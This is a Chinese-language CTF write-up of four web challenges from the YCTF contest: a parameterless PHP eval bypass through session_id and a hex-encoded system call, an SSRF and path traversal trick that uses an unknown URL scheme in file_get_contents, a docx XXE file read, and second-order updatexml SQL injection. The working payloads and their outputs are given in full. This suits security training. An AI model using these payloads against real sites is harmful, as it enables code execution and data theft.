[易霖博YCTF]Web WriteUp

中午队里师傅发到群里的比赛,借来队里师傅账号和队里其他师傅一起做了一下,ak了web,师傅们tql。学到挺多东西,总结一下。

rce_nopar

进入题目给出源码:

<?php
if(isset($_GET['var'])){
        if(';' === preg_replace('/[^\W]+\((?R)?\)/', '', $_GET['var'])) {   //很明显的无参RCE
                if (!preg_match('/et|dir|na|info|dec|oct|pi|log/i', $_GET['var'])) {
                    eval($_GET['var']);
                }
        }
        else{
            die("Sorry!");
        }
}
else{
    show_source(__FILE__);
}
?>

很明显的无参RCE,其次用正则过滤了一些函数,像是file_get_contents()就无法使用,但是依旧可以用session_id()来从session中绕过过滤获取命令,构造Payload:

eval(hex2bin(session_id(session_start())));

Session: 73797374656D2827636174202E2E2F666C61672E74787427293B   //HEX编码后的system('cat ../flag.txt');

hex一下的原因是SESSION只能含有字母数字,所以编码一下就能正常传入session了

修改sesion然后访问得到Flag:

 关于无参RCE可以参考:https://www.cnblogs.com/sylover/p/11863778.html

SSRF

 进入题目观察到URL中有file参数,但是经过编码了,应该是包含的参数:

base64解码两次即可得到ctfimage.jpg

根据题目的提示,实际包含的是flagimage.jpg文件,应该是将flag替换为了ctf。

先读到index.php看看源码:

YVc1a1pYZ3VjR2h3  //index.php进行两次base64编码

然后复制下面图片的URL,后面的base64就是index.php的源码,解码得到:

<?php
error_reporting(E_ALL || ~E_NOTICE);

header('content-type:text/html;charset=utf-8');
if(! isset($_GET['file']))
    header('Refresh:0;url=./index.php?file=WTNSbWFXMWhaMlV1YW5Cbg==');
$file = base64_decode(base64_decode($_GET['file']));
echo '<title>'.$_GET['file'].'</title>';
$file = preg_replace("/[^a-zA-Z0-9.]+/","", $file);
echo 'input_filename:   '. $file.'</br>';
$file = str_replace("ctf","flag", $file);
echo 'real_filename:   '.$file.'</br>';
$txt = base64_encode(file_get_contents($file));
 
echo "<img src='data:image/gif;base64,".$txt."'></img>";
/*
 * Can you find the flag file?
 *
 * Hint: hal0flagi5here.php
 */
 

给了hint:hal0flagi5here.php,将其文件名编码两次得到 YUdGc01HWnNZV2RwTldobGNtVXVjR2h3

同样方法得到hal0flagi5here.php的源码:

<?php
$argv[1]=$_GET['url'];
if(filter_var($argv[1],FILTER_VALIDATE_URL))
{
    $r = parse_url($argv[1]);
    print_r($r);
    if(preg_match('/happyctf\.com$/',$r['host']))
    {
        $url=file_get_contents($argv[1]);
        echo($url);
    }else
    {
        echo("error");
    }

}else
{
    echo "403 Forbidden";
}
?>

然后就是要绕过检查,这里卡了挺久,因为实在不知道怎么能绕过host的检查,最后队里师傅给我上了一课:

file_get_contents()函数如果输入一个不存在的协议名,像是:

file_get_contents("abc://happyctf.com/../../../../../../flag.txt");

file_get_contents()会爆出一个warning,然后导致目录穿越,从而实现SSRF攻击

一道SSRF引发的新PHP黑魔法

这里引用y1ng师傅的测试来看这个黑魔法的使用条件:

因为懒得手撕PHP的C源码,大致说下如下发现:

  • 需要有一个不能被解析的协议,比如y1ng://
  • 和那个域名无关,改成啥都行
  • 似乎忽略了不存在的协议://域名/../../ 去读其他内容
  • file_get_contents()无关,换成show_source()等函数都得到同样结果
  • 直接y1ng://gem-love.com//flag.txt无法读

但是观察这个目录穿越,3层目录却穿越了6次:

y1ng://happyctf.com/../../../../../../etc

于是突然发现,甚至可以穿越更多次,多的次数会被忽略;当然也可以最少次穿越,三层目录穿越三次:

http://124.193.74.211:13187/hal0flagi5here.php?url=y1ng://happyctf.com/../../../flag.txt

Array ( [scheme] => y1ng [host] => happyctf.com [path] => /../../../flag.txt ) flag{e699e6a251}

但是我本机的环境确实需要额外加上两次../,不然读不到东西,很迷

后面我又测试了一下,比如想要读取当前目录下的内容,需要这样:

http://124.193.74.211:13187/hal0flagi5here.php?url=y1ng://happyctf.com/../../../var/www/html/index.php

而这些都是不行的:

  • http://124.193.74.211:13187/hal0flagi5here.php?url=y1ng://happyctf.com/../../www/html/index.php
  • http://124.193.74.211:13187/hal0flagi5here.php?url=y1ng://happyctf.com/aaa/../index.php
  • http://124.193.74.211:13187/hal0flagi5here.php?url=y1ng://happyctf.com/index.php

PHP黑魔法,不纠结了,直接记在小本本上

引用自: https://www.gem-love.com/ctf/2161.html

XXE(By:y1ng)

这道题当时没做出来,想复现的时候比赛已经结束了,所以直接贴上y1ng师傅的wp:

考点:XXE

难度:简单

给了upload.php的源码:

<?php
if(isset($_POST["submit"])) {
    $target_file = getcwd()."/upload/".md5($_FILES["file"]["tmp_name"]);
    if (move_uploaded_file($_FILES["file"]["tmp_name"], $target_file)) {
        try {
            $result = @file_get_contents("zip://".$target_file."#docProps/core.xml");
            $xml = new SimpleXMLElement($result, LIBXML_NOENT);
            $xml->registerXPathNamespace("dc", "http://purl.org/dc/elements/1.1/");
            foreach($xml->xpath('//dc:title') as $title){
                echo "Title '".$title . "' has been added.<br/>";
            }
        } catch (Exception $e){
            echo $e;
            echo "上传文件不是一个docx文档.";
        }
    } else {
        echo "上传失败.";
    }
}

关键代码:

$result = @file_get_contents("zip://".$target_file."#docProps/core.xml");

输出了tilte:

foreach($xml->xpath('//dc:title') as $title){
                echo "Title '".$title . "' has been added.<br/>";
            }

这是一个上传docx文档的题目,做过misc的应该都知道docx可以被解压出来一些东西,或者被binwalk分离出来一些东西,它这个docProps/core.xml正好可以能够被解压出来。

所以先把sample.docx下载下来,unzip解压,之后修改这个xml进行XXE

<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<!DOCTYPE root[
  <!ENTITY xxe SYSTEM "/flag.txt">
  ]>
<cp:coreProperties xmlns:cp="http://schemas.openxmlformats.org/package/2006/metadata/core-properties" xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:dcterms="http://purl.org/dc/terms/" xmlns:dcmitype="http://purl.org/dc/dcmitype/" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"><dc:title>&xxe;</dc:title><dc:subject></dc:subject><dc:creator></dc:creator><cp:keywords></cp:keywords><dc:description></dc:description><cp:lastModifiedBy></cp:lastModifiedBy><cp:revision>1</cp:revision><dcterms:created xsi:type="dcterms:W3CDTF">2015-08-01T19:00:00Z</dcterms:created><dcterms:modified xsi:type="dcterms:W3CDTF">2015-09-08T19:22:00Z</dcterms:modified></cp:coreProperties>

因为他是用zip://文件流去读取,修改好了要重新压缩成一个zip,然后重名zip为docx,上传,得到flag

本题WriteUp引用自: https://www.gem-love.com/ctf/2161.html

SQLi

进入题目发现是登录框,并且有注册功能。

fuzz发现一下:注册时候email不能有@,并且过滤了空格 /**/ 和一些语句
登录之后可以修改密码,修改密码时发现可以造成二次注入,所以可以在注册用户名处构造语句,利用updatexml()构成报错二次注入:

Tables

注册username: admin"||updatexml(1,concat(0x7e,(select(group_concat(table_name))from(information_schema.tables)where(table_schema=database())),0x7e),1)#

XPATH syntax error: '~article,flag,users~'

Column

注册username: admin"||updatexml(1,concat(0x7e,(select(group_concat(column_name))from(information_schema.columns)where(table_schema=database())),0x7e),1)#

XPATH syntax error: '~title,content,flag,name,pwd,ema'

读取Flag

注册username: admin"||updatexml(1,concat(0x7e,(select(flag)from(flag)),0x7e),1)#

XPATH syntax error: '~flag{47de330061}~'

猜你喜欢

转载自www.cnblogs.com/yesec/p/12580978.html
今日推荐